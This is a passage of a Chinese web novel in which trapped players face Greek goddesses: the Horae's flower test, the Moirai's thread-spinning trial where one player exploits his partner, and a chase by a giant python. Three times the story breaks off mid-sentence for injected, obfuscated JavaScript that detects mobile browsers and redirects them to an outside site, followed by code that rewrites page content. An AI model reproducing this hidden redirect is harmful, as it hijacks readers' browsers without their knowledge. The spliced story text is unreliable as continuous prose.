好在,令人牙酸的咀嚼声没有维持多久。 最终,一朵绿菊的花骨朵从他瞪得浑圆的、已经失去焦距的右眼中挣脱出来,很快舒展成美好的花形——众人面前只剩下一株杂交了三种花的奇异植物,只有植物根部残留的深色血迹昭示着蒋威存在过的痕迹。 绿裙少女似乎对这株并不纯粹的花不太满意,歪头想了片刻,最终随意扬了扬手。已经成形的花在众人面前灰飞烟灭,留下的尘埃散落在土壤里,悄无声息地成为了其他花的肥料。 催命般的声音再次响起:“下一个,谁来呀?” 众人噤若寒蝉,都不敢再轻易尝试。 人群中有个看上去有些胆怯的小姑娘,面容惊恐:“好可怕!她们到底想要什么样的花!”她名叫宋青青,也是个大学生。 另外一个名叫赵磊的年轻男生脸色也好不到哪里去。他盯着林易:“你不是说你很了解西方艺术史吗?这三个人到底是谁!你倒是说啊!” 林易皱着眉:“西方艺术史是个很大的范畴,我又不是专门研究希腊神话的。据我所知,特洛伊战争中确实涉及到三位主要的女神,但她们并不是三胞胎,而且和花也没什么关系。” 方元和蒋威的死很快打破众人之间的虚假和睦。 南柯无暇顾及他们的争辩。 她仔细思考刚刚的嘉兰百合和玫瑰与红裙少女间的关系,结合另外两个少女的答案,脑海中慢慢理出一条合理的逻辑线。 “是季节。”她声音很轻,却很快吸引了周围人的目光。理性的分析在这种时候显得格外重要。 她和陈立阳对视一眼,接着道:“这片区域里同时盛开着不同季节的花,本身就是一种不同寻常的现象。三个少女,很可能分别代表着一种季节。方元送的百合和蒋威送的玫瑰都在夏季开花,假设红裙少女代表夏季,那么这两种花都是符合的。而绿菊在秋季开放,绣球一般在夏季开放,如果绿裙少女代表春季,蓝裙少女代表秋季,那么这两种花确实都不符合。” “听着确实有些道理。可是季节有四个,数量对不上啊。”秦萝表达了疑惑。 南柯点头:“这也是我想不通的点。” 这时候,叶帆突然开口:“我知道这三个少女是谁了!” 南柯明明看到刚刚陈立阳正要说话,但叶帆先开口,他便不作声了,只是暗暗朝南柯比了一个大拇指。 众人的目光集中在自己身上,叶帆有些不好意思。他扯了扯身上的斗篷:“我小时候看过一本讲西方神话的画本,传说神王宙斯和正义女神忒弥斯生育了两组三胞胎,其中一组叫做时序三女神,名字是荷拉。”他看向南柯,“刚刚南一提到季节我才想起来,在古希腊的记载中,他们那个时代确实只将一年分为春、夏、秋三个季节,时序三女神每人掌管其中一个季节。这三个少女,很有可能就是时序三女神了。” 他的讲述有理有据,众人十分信服。 刚刚质疑过林易的赵磊眼中流露出异样的光芒:“所以,只需要给三个神女分别送符合季节的花就可以了?” 叶帆:“我猜是这样,但不敢保证。” 话音刚落,众人还未动作,赵磊就快速朝花园里跑去。林易伸手想拉住他,但扑了个空。他暗暗骂了一句国粹,但终究没有跟上去。 很快,赵磊就采集了三种花,分别是紫罗兰、矢车菊和仙客来,典型的符合三个不同季节的鲜花。 他没什么犹豫,按照春、夏、秋的顺序将花分别送给三个少女。 在众人探寻的目光中,三姐妹对视一眼,异口同声雀跃道:“我喜欢这株花~” 说完,三姐妹同时朝赵磊的方向抬手一挥,三道不同颜色的光束幻化为一支流光溢彩的发钗落入他手中。 绿裙少女宛若恩赐般的声音响起:“作为第一个送上符合我们心意的鲜花的人类,特奖励你时序之发钗~这枚发钗可以当做武器,当你使用时,自会知道它的效果。” 赵磊欢天喜地地感谢过女神,将发钗收回只有自己可见的个人面板,回到众人之中。 宋青青小声嘟囔:“真无耻,明明不是他想出来的。” 不过,因为规则是不能赠送和前边的人相同的花,越往后可选择的花越少,她还是快步朝花园走去。其他人也紧随其后。 叶帆脾气很好,没太在意赵磊的行为。他向南柯做出“请”的手势:“你先来吧,我认识的花的种类不少,应该没问题。” 南柯没推辞,向他点了点头,一边朝花园走,一边看向陈立阳的方向。 小孩儿向她递来一个安心的眼神,然后朝与她相反的方向走去。 南柯排除掉前边的人已经送过的花,最终选了风信子、向日葵和月桂,顺利通过了考验。 眼看着剩下的人一一过关,南柯目光望向走在最末尾的陈立阳。轮到他的时候,常见的花的品种已经差不多被挑完。 虽然知道他很厉害,但生死攸关,南柯还是为他捏了把汗。好歹是同生共死的情谊,她不想看他有什么意外。 很快,陈立阳走到三女神面前。 他手上捧着的三株植物与其说是花,不如说是香草,分别是迷迭香、鼠尾草和薄荷。他笑着将三株植物依次送给三个女神。 众人屏息等待着三女神的反应。 与之前送错花后立刻被抹杀或者送对花后立刻通关不同,三位女神一言不发地盯着陈立阳看了好久。南柯的眉微微皱起来。 不知过了多长时间,终于,春之女神作为代表宣布:“谢谢你的花,欢迎你进入奥林匹斯山~” 南柯几不可查地松了口气,陈立阳趁着别人不注意调皮地冲她眨了眨眼睛。 活着的十人全部成功进入金色大门。 大门在他们身后缓缓合拢,朦胧的雾气重新蓄起。来时的路已经被雾气笼罩,时序三女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578997|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神不知何时已经悄无声息地消失在雾气中。 前方,一座种满鲜花的神山高高耸立,顶端没入金色的云层,难以窥见。脚下,是一条通向神山的蜿蜒小路,比起巍峨的神山,他们十个人看上去格外渺小。 气氛要比刚进入梦境的时候沉重许多。林易安静地站在人群中,不再担任领头人的角色。 南柯看着没什么斗志的众人,淡淡道:“走吧,神殿应该在山上。” 一路上,前进的队伍都十分沉默。 南柯想到叶帆讲的传说,随意问道:“你说,忒弥斯和宙斯诞下两组三胞胎。那除了时序三女神,另外三位是什么女神?”她总感觉一组三胞胎不会单独出现。 叶帆:“另外一组被称为‘命运三女神’,名字是摩伊拉,古希腊人相信命运无法更改,谁都无法逃脱‘命运三女神’的安排,她们的权利甚至要凌驾于宙斯之上。”他想了想,“这三个姐妹通过纺织来决定一个人的命运,一位负责纺织生命线,一位负责丈量生命线的长度,最后一位负责剪断生命线。也就是说,第一位赋予生命,第二位分配寿命,第三位结束生命。” 他讲得言简意赅,众人都能听明白。 宋青青小声说:“那如果遇到她们,不会是要我们纺线吧,我超级手残的……” 话音未落,前方临近山脚的地方突然弥漫起熟悉的雾气,雾气中传来极有规律的吱呀声。 众人警惕地停了下来。 片刻,南柯轻声道:“好像是……纺车。” 像是为了印证她所说的话,前方的雾气缓缓散开。 他们的正前方,果真是一辆造型古朴的纺车。 纺车边上,是三名长相完全相同的、身穿深蓝色长袍的绝色少女。其中,一名少女正轻轻摇晃着木轮的转轴纺出细细的棉线;一名少女拿着木尺歪头在线上进行测量;最后一名少女拿着一柄小巧的剪刀站在纺车后,似乎随时准备剪断细而脆弱的纺线。 看到来人,三名少女停下手中的动作。纺线的少女站起身,带着两个姐妹朝他们走过来。 叶帆看向南柯,南柯朝他点了点头。他上前走起打招呼的流程:“摩伊拉女神,你们好。我们来奥林匹斯神山拜谒众神,请问可以允许我们上山吗?” 纺线少女歪头打量众人,半晌,她遗憾道:“你们并不是本世界的人类,我无法勘破你们的命运。没有命运之丝的人不能登上神山。” 叶帆:“那我们如何才能获得命运之丝呢?” 纺线少女笑了笑,指了指身后的木质纺车:“你们可以自己织。” 叶帆心想,肯定没这么简单。 果然,手持木尺的少女接着开口:“不过,今天的棉花总量有限,你们可以自行进行两两组队。”她饶有兴味地看向众人,“组队的两个人棉花总量恒定,两人在双面纺织机的两侧同时进行纺线,直到棉花用尽。如果规定时间内没有把所有的棉花都纺完,则两个人都将接受命运的裁决。” 林易提出疑问:“每个人纺出的线的长度,就代表生命线的长度吗?” 手持剪刀的少女点点头:“是的。” 南柯想,这样看来,组队的两个人彼此之间既是合作关系,又是竞争关系。如果队友纺得太慢,很有可能因为无法在规定时间内用完棉花而受到牵连;如果队友纺得太快,又会压缩自己生命线的长度。选择合适的队友显得尤为重要。 众人心中也在对这个规则进行解析,以物色合适的队友。 不过很快,手持剪刀的少女补充了一条令众人微微色变的规则:“纺出的线的确代表生命线的长度,但它代表的,是队友的生命线。也就是说,队友的生命长度,将由你来决定!” 高高在上的神女眼中流露出异样的神采,仿佛已经坐在看台上,准备欣赏人类之间为了生存而竭力博弈的丑陋戏码。 22. 特洛伊战争(三) 规则公布后,叶帆第一时间看向南柯。他和众人都不太相熟,只有刚刚和南柯说了几句话,感觉上,南柯虽然不热情,但应该也不会故意给人使绊子。 然而,在他对南柯提出组队请求前,秦萝就走了过来。 她从容笑着对叶帆说:“我可以和你组队吗?虽然没有纺过线,但手工类的东西或许女生会比较擅长,我努力不拖后腿。”她并没有信口开河地画饼,语言和神色都很真诚。 叶帆看向南柯。 南柯做出一个“请”的手势,看上去并不担心找不到合适的队友。于是,叶帆便和秦萝组成一队。 同一时间,林易朝南柯的方向走过来。显然,刚刚南柯对时序三女神的分析让他认为南柯是合适的队友候选人。 “南小姐……” 话还没说完,就被一道不合时宜的声音打断。 “南一姐,我们可以组队吗?”陈立阳穿越人群信步走过来。 林易皱了皱眉:“你懂不懂先来后到?” 陈立阳没什么歉意地笑了笑:“抱歉。不过队友是双向选择的,不如问问南一姐的意见。” 因为南一刚刚确实表现亮眼,有人想和她组队也不是什么突兀的事,所以林易没有怀疑她和陈立阳认识,只是脸色不太好地等待南柯的反应。他想,他看起来总比一个大学生要靠谱。 但没想到,南柯竟然选了大学生! 她声音淡淡:“相信林先生能找到更合适的队友。” 林易咬碎一口银牙,但又毫无办法。眼看着剩下的人马上也要组队完成,他只能赶紧去寻找下一个目标。 南柯看了陈立阳一眼。 在众人的注意力都在纺车上的时候,陈立阳悄悄说:“好巧啊姐姐,我们又见面了。”声音里带着不加掩饰的欢喜。 南柯没回头,轻声道:“这么早就组队吗?”不是要装作不认识。 陈立阳摸了摸脖子:“我不放心把你的命运交到别人手里。” 明明只是符合当下情境的话语,南柯却觉得,这句话怎么听起来……有点怪怪的。 她还记得上个梦境中陈立阳最后将【幻梦水晶】拿给她,可以抵御一次致命伤害的效果相当于在梦境中有了第二条生命。她想,既然在这里遇到了,她就尽力保护他的安全,就当投桃报李。 组队很快结束。 纺线少女打量着众人:“哪一组第一个来呢?”类似的语气让众人想到刚不久前遇到的春之女神。上一次,第一个尝试的人变成了一株花。 这时候,林易突然问:“神女,请问如果中途纺线断了怎么办,可以续起来继续纺吗?” 持剪刀的少女笑容玩味地看着他:“生命只有一次。断掉的命运线,自然没有重新纺织的机会。” 也就是说,如果有人在纺线途中棉线断了,那么只能依靠另一个队友把剩下的棉花都织完,否则,两个人都要死。 闻言,众人的脸色更差。 看没人有第一个尝试的想法,纺线少女漫不经心地朝人群中一指:“就你们先来吧。三十分钟时间,将竹筐里的棉花全部织成线,即可通过。” 她指的方向是南柯和陈立阳。 两人对视一眼,倒也没有过于惊慌,缓步朝纺车的方向走过去,并分别在纺车的两面落座。在两人都触手可及的一个小竹筐中,已经放置好足量的棉花。 纺线少女简单教授了他们纺线的技巧。看上去并不难,首先将棉花拉成粗细合适的长条状缠绕在纺锤上,然后一只手摇动纺车的转轮带动纺锤转动,另一只手理顺棉花,使其在纺锤上均匀地捻成线。 计时开始的时候,南柯深吸一口气,拉起一团棉花开始理顺。陈立阳也做着同样的动作。 大概三分钟后,他们同时将棉花的一端缠在自己的纺锤上,开始纺线的过程。 众人的视线一瞬不瞬地盯在双面纺车上。没有被指派率先纺线的人都隐隐松了一口气,这样,他们就可以通过观察前面的应试者积累更多经验。 南柯和陈立阳动作并不快,但十分稳当,每次拉长的棉花粗细都大致相同,不至于过细而导致棉线容易断裂,也不至于过粗使得棉线的总长度太短。两人的进度也基本同步,像是一对精确的镜像。 竹筐里的棉花很快少了三分之一。 陈立阳抽空和南柯聊起天来。众人距离他们不算近,因此听不清说话的内容。 “姐姐,你为什么进来这里?”在【细胞工厂】的时候,南柯提过她是点击宣传链接主动进来的。 南柯没抬头,“进来找个人。” “啊,那个人很重要吗?” 南柯摇转轮的手顿了一下。 “我只知道他的名字,还不确定他和我想的是不是同一个人。” 这句话有点儿无厘头,但陈立阳好像听懂了。 “这样啊……如果方便的话,姐姐可以告诉我他的名字,我之后在其他梦境也能帮你留意。” 在她停下纺线后,陈立阳手上的动作也暂停下来。他琥珀色的瞳孔干干净净,看上去没有一丝杂质,仿佛真的只是想提供帮助。 “于尘。于是的于,尘埃的尘。” 说完后,南柯不动声色地打量陈立阳的表情。 陈立阳神色看上去没什么特别的波动,只是在记忆里短暂地搜寻了一下:“于尘……我好像没听过这个名字,之后我多注意一些。” 他表情不似作伪。 南柯随意点了点头,再次确认,自己应该是想多了。 短暂的暂停后,两人又拢起棉花继续纺线。 陈立阳提起新的话题:“姐姐,你希望在【造梦空间】里实现意识进阶吗?” 南柯:“坦白说,我很难理解‘意识进阶’的含义,听起来很抽象。” 陈立阳:“我之前看过一些科幻片。或许,更高阶的意识代表着更高的智慧,更优的生存策略,他们看待我们,可能就像我们看待蚂蚁一样。” 南柯笑了笑:“想象一下的话……如果一只蚂蚁突然进阶为人类,在它‘进阶’的那一刻,它就会成为蚂蚁族群中的背叛者,人类族群中的外来者。长期下去,只有两个选择。要不就被人类排斥于族群之外,永远承受孤独之苦;要不……就用尽全力挤进人类的圈层,像他们一样俯视和践踏自己曾经所在的族群。” 她看向手里的命运之丝,声音很淡:“很难说这对于那只蚂蚁来说是不是一件好事。” 陈立阳也笑:“确实。但或许,并不是每个为了‘意识进阶’而进来的人都已经估量好自己需要承受的后果。” 这是他们第一次谈起这么深入的话题,涉及到这个诡异空间的本质。不过,两人都是浅谈辄止,毕竟,紧迫的计时还在继续。 两人的命运线不紧不慢地纺织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578998|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,慢慢蓄起几乎等长的长度。 大概二十几分钟后,竹筐中的棉花彻底见底。 手持剪刀的少女脸上露出遗憾的表情。不过,规则就是规则,她无法再为难纺完命运线的应试者。 手持木尺的少女左右手同时向纺锤一招,两条棉线便从纺锤上脱落,朝她的方向飞过去。 她亲自丈量了陈立阳和南柯所纺出的棉线长度。长长的棉线落在她手心,瞬间变成一根缩短的银色丝线,大概十厘米左右。她将两条丝线交换位置,分别递给南柯和陈立阳:“请收好你们的命运之丝。” 南柯接过银线:“请问丝线的长度怎样和生命长度进行换算?” 手持木尺的少女神秘地眨了眨眼睛:“到时候,你们自然就知道了。” 由于南柯和陈立阳没废多少力气就通过了考验,其他人也没有一开始那么害怕了。赵磊举了举手:“下一个我们来!” 和他组队的是个女孩子,这是除了南柯、秦萝和宋青青之外的最后一个女生。南柯记得她好像叫李悦,安安静静的,话不多,是个美术生。 两人很快走到纺车边坐下。 李悦叮嘱:“等下我们也稳当一点,不要太快。” 赵磊随意点点头:“知道知道,快开始吧。” 计时开始的那一刻,两人同时拉起一团棉花。 李悦小心翼翼地将棉线缠在纺锤上,每一步都谨慎。她生怕别人的性命因自己的疏忽而断送。 然而,刚刚捻好第一轮棉线,她便察觉出不对劲——对面的赵磊居然还在梳理棉花这一步,而且,他的动作漫不经心,仿佛毫不在意时间的流逝。 李悦忍不住提醒:“你要加快点进度呀,一会儿时间到了棉花没用完,我们都要死。” 赵磊应付性地“嗯”了一声,但手上动作却完全没有加快的迹象。 李悦有些着急了:“你什么意思?” “啊,没什么意思呀,就是……纺线这种手艺活,男生不太擅长,这也很正常吧。”他表情散漫,完全不在意他手上所掌控的是别人的生命线。 “你!” 李悦终于意识到,赵磊是故意的。当初找她组队的时候说得好好的,平均分配棉花,和平纺线,现在开始计时,他才露出自己的真面目! 她的眼眶开始发红。 如果她不想死,现在只能努力纺线,争取在规定时间内把棉花都用完。但那样的话,此消彼长,她只会加长赵磊的生命线,而自己的生命线则会被动缩短。 但她现在拿赵磊没有任何办法——她没有勇气和对方同归于尽。 虽然不知道两个人在说什么,但围观的众人几乎都看出那边是什么情况。 叶帆皱着眉,忍不住骂了声“混蛋”,其他人的脸色也不太好看。 手持剪刀的少女脸上终于露出满意的神情。 南柯脑海中浮现出五个字——胆小鬼博弈。这是一种博弈论中的经典模型,取胜的核心是让自己失去选择权,从而让潜在威胁对于对手来说变成可信事实。 举个例子,两个人对向开车,约定谁先转向谁就会输。如果其中一个人在比赛开始前就把方向盘卸掉,表明自己绝不会转向,那么压力就会落在另一个人头上。这时候,如果另一个人不想同归于尽,就只能率先转向,从而输掉比赛。 这时候,赵磊就是那个卸掉方向盘的人。 23. 特洛伊战争(四) 虽然不知道生命线短一些能活多久,但当下如果棉花不用完就立刻会死。李悦一边掉眼泪,一边拼命地纺线。 南柯心想,这个赵磊看似摆烂,实际上求生欲比谁都强。其实只要李悦稍微反制,他就会收敛。但很可惜,小姑娘还是太实诚了。 终于,手持木尺的少女进行了第一次时间提示:“已经过去十五分钟咯~” 李悦看向装有棉花的竹筐,里边还剩下大半的棉花,凭她一个人根本纺不完,横竖都是一个死。 她高度紧绷的脆弱神经终于被扯断。 小姑娘突然停下手里的动作,发了狠地看向赵磊:“要不你跟我一起认真纺,把剩下的棉花都纺完,两个人一起活。你要是再这样,我也不做了,大不了一起死!反正这个鬼地方,我也出不去,死就死吧!” 她眼眶猩红,表情凶狠,看着已经报了破釜沉舟的决心。 赵磊盯着她看了几秒钟,似在确认她是不是真的有赴死的勇气。 片刻,他讪讪笑了笑:“别这么大火气,我肯定会跟你一起纺线的呀,本来就是两个人的活儿。刚刚速度有点儿慢是因为刚开始上手有些生疏,现在这不就熟练了?”说着,他手上的动作终于快起来。 李悦冷哼一声,看他确实认真起来,才重新开始纺织自己手上的线。 棉花还有剩余,但计时随时会结束。没有实时计时带来的恐慌感让赵磊也不敢再懈怠。终于,在他和李悦的努力下,最后一缕棉花被纺织成线。收工的那一刻,三十分钟的计时刚好结束。 赵磊长舒一口气,忽略掉李悦怨恨的目光,满意地看着李悦那边比他长出许多的棉线。 手持木尺的少女丈量后,同样将棉线转化为银丝,交换后分给两个人。 赵磊的银丝大概有十几厘米,而李悦的只有五厘米左右。 李悦脸色发青地看着赵磊:“你会遭报应的!” 赵磊满不在意地耸耸肩:“到了这个鬼地方就是我最大的报应,还能有什么报应?”他指了指李悦手里的银丝:“你也看开点儿,不还有一截吗,又不是让你立刻去死。” “你!”李悦顺风顺水地长大,还从没见过赵磊这种泼皮无赖,气得说不出话。她索性不搭理他,独自走回人群里。 赵磊紧随其后。但他很快发现,几乎没人跟他说话,甚至大家还隐隐透露出鄙夷的表情。 他冷笑一声,小声嘟囔:“一个个的,装什么正人君子,真要死的时候就知道后悔了。” 这组之后,林易和宋青青两组人都有些犹豫。毕竟他们和自己的搭档都并不相熟,万一有人和赵磊一个德行怎么办? 僵持片刻,叶帆率先打破沉默。他看向秦萝:“要不,我们去?”他脸色平静,好像并没有被刚刚的情况影响到。 秦萝歪头:“不怕我给你使绊子?” 叶帆有些迟钝:“啊?” “逗你的啦。我会努力的!” 秦萝做了一个握拳加油的动作。 南柯想,这两人在这种生死一线的境地里临危不惧,倒不失为两个妙人。如果之后有梦境需要组队的话,或许可以招募一些合适的队友。 虽然她从前喜欢单独出任务,但人无完人,就像在这个梦境中,她有很多不了解的神话知识,取长补短并不是坏事。 另一边,秦萝和叶帆已经开始纺线。一开始,因为生疏,两人动作都不敢太快,生怕把线扯断了。到后来渐入佳境,才将速度慢慢提起来。 实践再次证明,三十分钟的时间纺完棉线完全够用,他们在计时终止前游刃有余地完成了任务。 南柯大致扫了一眼,他们得到的银丝大概和自己的银丝长度相同。 之后,林易与队友也依样画葫芦,没什么惊险地通过了任务。命运三女神的考验只剩下宋青青一组没有完成。 宋青青的队友是个三十岁左右的男人,名叫袁涛,长相斯斯文文,但眉眼间总不经意透露出些暴躁。 因为前面两组人都比较顺利,所以他们的紧张情绪也冲淡了很多,两人悠闲地朝纺车走过去。 宋青青话比较多:“欸,你一会儿千万认真些,别害我哦。” 袁涛皱了皱眉,没说话。 宋青青戳了戳袁涛的胳膊:“跟你说话呢。” 袁涛一把将她甩开,显而易见的不耐烦:“再多嘴你就自己去!” 宋青青似乎想不到看上去挺斯文的人为什么突然这么凶,吓得捂了下胸口。袁涛已经自顾到纺车边坐了下来。 宋青青小声嘟囔:“装什么……” 纺线的工作就在这种不和谐的氛围中展开。 虽然袁涛态度比较凶,但干活儿还算认真,没有刻意磨蹭时间,动作有条不紊。宋青青看了会儿,勉强放心,开始纺织自己这边的线。 她没有故意放慢速度,但如她所讲,她确实在手工方面缺乏天赋,所以动作极其滞涩,不仅速度慢,纺出的线也粗细不均。 大概过了十分钟,袁涛终于忍不住。他一把甩掉手上的棉花:“你给老·子整这出是吧?” 宋青青被他凶恶的神情吓得脸色发白:“没……我发誓没有!我真的在努力做了!” 这时,在远处旁观的陈立阳突然眉头一皱:“完了。” 叶帆:“怎么了?” 南柯轻声接过话来:“线要断了。” 话音刚落,宋青青手里的纺线应声断裂。虽然隔得远,但众人仿佛都听到一声铿锵的嗡鸣声。 袁涛站起身,气得直接掐着宋青青的脖子将她拉起来,面目狰狞:“贱·人!” 宋青青拼命拍打他的手,但袁涛的手却宛若铜浇铁铸。她只能艰难地从喉咙里挤出几个字:“我……不是……故意……” 她确实不是故意的,虽然她对袁涛有点意见,但至少在纺线这件事上并没有害他的心。只是刚刚她被袁涛吓得身体往后仰了一下,正好扯紧了手上的棉线。她纺的线本来就不均匀,韧性差,蓦地被扯一下,直接就断裂了。 眼看着宋青青要被袁涛掐死,南柯看向纺线女神:“神女,生命的长度既然由生命线的长度来决定,那么在纺线过程中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594143|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纺线的两个人是不能互相杀死对方的吧?” 纺线女神饶有意味地看向她,慢悠悠地开口:“啊,的确。不好意思,忘记了。”说着,她漫不经心地朝纺车边上手持剪刀的少女打了个手势。 手持剪刀的少女脸上露出意犹未尽的神情。不过,为了遵守规则,她还是出声提醒:“两位纺线者,请允许我冒昧提醒。” 袁涛手上的力气终于松了些,宋青青跌坐在地上大口大口地喘着气,眼神惊恐地看着他,似乎还没从濒死的恐惧中缓过神来。 “断裂的棉线无法继续进行纺织,但另一位先生仍然可以继续进行。如果在规定时间内可以将棉花用光,也算通关。当然,如果二位自愿放弃,那么本次纺线到此为止。” 袁涛终于冷静下来。 他冷冷看了一眼战战兢兢抱膝坐在地上的宋青青,而后深吸一口气,重新在纺车边坐下来。和这个女人的账可以之后再算,现在他要活下去! 然而,他们的情况和赵磊、李悦还不一样。 赵磊虽然故意消极怠工,但他没有失去纺线的权利,关键时候还可以出些力。可宋青青已经完全不能再纺线,几乎所有的工作都压在袁涛一个人头上。即使他已经拼命加快速度,但仍然赶不上时间流逝的速度。终于,手持剪刀的少女宣布三十分钟计时结束。 袁涛和宋青青同时看向盛放棉花的竹筐,此时,筐里还有最后一缕棉花。这缕棉花看上去极不起眼,但放在此时此刻,却仿佛是压死骆驼的最后一根稻草。 他们成为第一组没有完成任务的应试者。 宋青青眼神呆滞,仿佛自己已经是个死人。而袁涛不甘心地冲到手持剪刀的少女身边:“就差一点点了,算我们通过吧,可以吗?”他指了指宋青青,声音歇斯底里:“或者你杀了她,她什么活儿都没干!杀了她吧,让我活着行吗!我真的尽力了!” 然而,手持剪刀的少女只是露出虚假的怜悯神色:“很遗憾,但规则制定了就是要遵守的呀。你们这一组没有完成任务,那没办法啦。” 说着,她的手朝袁涛和宋青青的方向轻轻一挥。 众目睽睽之下,原本活生生的两个人嘴里突然吐出棉花来,甚至没来得及说出最后一句话。 棉花越吐越多,越吐越多,最终,两个人从脖子开始,整个身体都慢慢变成一团毫无生气的棉花——就和他们纺线用的棉花一模一样。 南柯皱着眉看着面前诡异的场景。现场没有鲜血,但却比鲜血淋漓还让人瘆得慌。她心里翻涌起强烈的不适感。 突然,她眼前覆上一双修长的手。 那双手并没有触碰到她的眼睛,很克制地保留了几公分距离。 南柯没有拨开,只是轻声道:“我不怕这个。” 陈立阳声音温柔似阳光晒过的雪松:“我知道,只是不想让你看到太多死亡。”许是觉得这句话有些越界,他语气轻松地补充:“就当我是一个绅士。” 南柯笑了笑:“没事,我都习惯了。” “那,从现在开始,尝试着不要习惯呢?” 24. 特洛伊战争(五) 通过命运三女神的考验后,原本的十二人只剩下八个。众人各怀心思地继续上山,山路两侧各色绚烂的花朵此时也仿佛充满诡异,没人再认为这里是一个神眷的乐园。 不知过了多长时间,天色居然突然黑了下来,天上升起一轮巨大的圆月。前进的众人停住脚步,警惕地打量四周。 南柯问陈立阳:“希腊神话里,奥林匹斯神山也会有昼夜交替吗?” 陈立阳:“确实会有昼夜之分,但并不是真正意义上的天黑,只是由白昼女神和黑夜女神每天交替在天空驾驶战车,用来标志时间的流转。众神也以此来标定生活的节奏。” 南柯抬起头,盯着空中散发着清冷光辉的月亮:“那,神话中,有没有什么神是和月亮相关的?” “月亮女神,阿尔忒弥斯?”叶帆接过话来。 陈立阳点点头:“或许,我们现在就在月亮神的领域之内。” 闻言,众人不禁提起一口气。前两次遭遇神祇,都不是什么好的体验,谁也不知道这次又有什么灾难在等着。但待在原地也不是办法,毕竟他们现在都没还有接触到梦境的真正核心“特洛伊战争”,只能继续打起精神向前行走。 好在,虽然天黑了,但月亮的光芒强盛,所以众人的视野并没有受限。 不多时,走在最前面的南柯突然停下脚步。 她蹲下身,眼前的地面上,横亘着一条大概一米宽的沟壑,深度有半米左右。这条沟壑并不规整,蜿蜒曲折,末端一直延伸到视线被植被阻隔的远方。 虽然沟壑本身对他们来说并不难跨越,但这沟壑此时出现在这里,显然不同寻常,南柯谨慎地伸手带起一点沟里的泥土凑到鼻尖。 片刻,她皱眉:“有点腥味。” 叶帆:“腥味?会不会是某种动物?造成这种痕迹的话……” “是蟒蛇。”陈立阳接过话来。 这个猜想对众人现在的情况来说无疑是雪上加霜。 秦萝:“如果是蟒蛇,那这条蛇得有……”她朝着沟壑的位置比划了一下,“一米那么粗的身体?也太大了吧?” 陈立阳:“距今大概6000万年前有一种泰坦巨蟒,科学家发现过这种蟒蛇的古化石,它们身体最粗的位置大概就有一米左右,不过这种蟒类早就灭绝了。” 南柯:“这里是虚构的空间,而且还是神话背景,出现什么都不意外。”她提醒众人:“小心点儿,如果真的遇到蟒蛇,不要正面对抗,灵活一些,避免被它缠上就好。” 上山的路只有一条,众人怀着担忧的情绪继续向前走。不知过了多久,突然有一团赤红色从他们面前飞驰而过。 走在后边的人没看太清,但南柯大致看到了——那是一只体型和牛差不多的漂亮动物,头上顶着灿金色的双角,奔跑而过时,蹄下闪过铜色的光泽。她把看到的东西描述了一遍,问众人是否知道这是什么。 陈立阳:“应该是阿尔忒弥斯的宠物神鹿,果然是月亮女神的领域。” 叶帆:“它好像在逃命,就像有什么东西在追它。” 南柯心头一动:“是那条蟒蛇!” 话音刚落,让人头皮发麻的簌簌声从远处的山体传来,且这种声音还在以极快的速度朝他们逼近。 南柯当机立断:“快跑!”说完,她下意识拉起陈立阳沿着山路向前跑去。巨蟒在追神鹿,而神鹿逃跑的方向和他们垂直,只要他们跑的快,应该就可以躲过去。 众人也纷纷反应过来,拿出最快的速度开始奔跑。 然而,事与愿违。许是他们这些生人的味道更具吸引力,原本追着神鹿的巨蟒突然改变方向,沿着唯一的山路追上来。 虽然他们已经尽力奔跑,但身后的追逐者速度却丝毫没有被巨大的体型所拖累,向前爬行的速度甚至比他们更快。很快,南柯回头时已经可以看到那只蟒蛇的上半身—— 这条蟒蛇通体呈深绿色,没有一丝花纹,巨大的躯体在爬行过程中不断带起飞溅的泥土。此时,它冰冷的竖瞳微微眯起,露出狩猎的姿态。它的嘴巴微微张开,露出通向腹部的黑洞,仿佛要立刻择人而噬。 南柯果断做出决定。她迅速拉着陈立阳调转方向:“朝刚刚神鹿的方向跑!”既然神鹿是月亮女神的宠物,那巨蟒要猎杀她的宠物,想必她会出手。虽然这个地方很多事情不能以常理计,但现在只能赌一把了。 众人跑得已经没有力气思考。现在还能清醒提出建议的人自然而然成了主心骨,没人质疑南柯的话,纷纷按照她的说法转向,大概又跑出几百米的距离。 突然,跑在最后的叶帆觉得腿肚子开始抽筋。他的工作平时就是坐在键盘前码字看书,几乎很少运动,遇到这种考验体力的情况真的有心无力。 